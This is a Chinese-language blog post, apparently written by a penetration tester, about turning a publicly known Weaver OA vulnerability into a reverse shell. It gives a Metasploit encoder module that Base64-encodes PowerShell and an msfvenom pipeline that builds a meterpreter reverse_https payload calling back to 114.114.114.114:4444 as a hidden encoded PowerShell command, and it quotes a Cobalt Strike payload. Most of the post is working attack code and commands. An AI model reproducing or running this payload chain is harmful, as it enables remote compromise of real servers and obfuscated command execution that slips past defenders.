msf powershell base64 command

试着用泛微OA爆出来不久的漏洞反弹SHELL,通过网上公开的POC只能执行whomai之类的简单命令,复杂一些的会报错。直到后来发现可以使用Cobalt Strike生成的powershell反弹。

Cobalt Strike可以,那Metasploit可以吗?

Cobalt Strike 生成的Payload是这样的,一段被Base64编码的内容。

powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAa......

而Msfvenom没有合适的encoder可以将powershell Payload进行Base64编码。

通过搜索得到一个这样的编码脚本,能够将Msfvenom生成的Payload像上面那样编码。

class MetasploitModule < Msf::Encoder
  Rank = NormalRanking
 
  def initialize
    super(
      'Name'             => 'Powershell Base64 Script Encoder',
      'Description'      => %q{
        This encodes a PowerShell script as a base64 encoded script for PowerShell.
      },
      'Author'           => 'Didier Stevens',
      'Arch'             => ARCH_CMD,
      'Platform'         => 'win')
 
    register_options([
      OptBool.new('NOEXIT', [ false, 'Add -noexit option', false ]),
      OptBool.new('SYSWOW64', [ false, 'Call syswow64 powershell', false ])
    ])
 
  end
 
  def encode_block(state, buf)
    base64 = Rex::Text.encode_base64(Rex::Text.to_unicode(buf))
    cmd = ''
    if datastore['SYSWOW64']
      cmd += 'c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe '
    else
      cmd += 'powershell.exe '
    end
    if datastore['NOEXIT']
      cmd += '-NoExit '
    end
    cmd += "-EncodedCommand #{base64}"
  end
end

将脚本保存在Metasploit文件目录 modules/encoders/powershell/ 下,文件名为base64.rb,以我当前(Windows)的目录为例:

metasploit-framework\embedded\framework\modules\encoders\powershell\base64.rb

这时用msfvenom –list encoders命令就可以看到刚刚保存的脚本:

PS C:\Users\X> msfvenom --list encoders

Framework Encoders [--encoder <value>]
======================================

    Name                          Rank       Description
    ----                          ----       -----------
    cmd/brace                     low        Bash Brace Expansion Command Encoder

    ...

    powershell/base64             normal     Powershell Base64 Script Encoder

测试编码脚本的可用性。

使用新的编码脚本将会生成Base64编码后的Payload,在powershell命令行中运行生成后的Payload将会看到一个Hello World的弹框,这代表着编码脚本是有效的。

PS C:\Users\X> echo "Add-Type -AssemblyName PresentationFramework;[System.Windows.MessageBox]::Show('Hello World.')" | msfvenom --payload - --arch x64 --platform windows --encoder powershell/base64
Attempting to read payload from STDIN...
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of powershell/base64
powershell/base64 succeeded with size 287 (iteration=0)
powershell/base64 chosen with final size 287
Payload size: 287 bytes

powershell.exe -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFAAcgBlAHMAZQBuAHQAYQB0AGkAbwBuAEYAcgBhAG0AZQB3AG8AcgBrADsAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBNAGUAcwBzAGEAZwBlAEIAbwB4AF0AOgA6AFMAaABvAHcAKAAnAEgAZQBsAGwAbwAgAFcAbwByAGwAZAAuACcAKQANAAoA

开始正式的生成Metasploit的攻击Payload。

msfvenom.bat --payload windows/meterpreter/reverse_https lhost=114.114.114.114 lport=4444 --format psh --smallest | msfvenom.bat --payload - --platform windows --arch x64 --encoder powershell/base64

上面第一条msfvenom命令将meterpreter shell生成为shellcode,第二个msfvenom则将刚刚的shellcode转换为Base64的powershell命令。

参考: https://blog.didierstevens.com/2017/08/26/quickpost-metasploit-powershell-base64-commands/

发表评论

电子邮件地址不会被公开。 必填项已用*标注